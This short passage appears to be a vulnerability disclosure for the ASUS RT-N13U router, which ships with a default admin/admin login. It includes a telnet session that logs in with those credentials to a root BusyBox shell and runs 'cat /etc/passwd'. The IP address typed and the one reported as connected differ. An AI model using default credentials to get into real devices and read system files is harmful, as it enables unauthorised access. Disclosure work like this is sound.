The ASUS RT-N13U router is based on BusyBox and ships with a default admin account (password is ‘admin’) for the telnet and HTTP service.
df:/home/df # telnet 18.104.22.168
Connected to 22.214.171.124.
Escape character is ‘^]’.
RT-N13U login: admin
BusyBox v1.12.1 (2009-10-09 18:04:11 CST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.
# cat /etc/passwd
Connection closed by foreign host.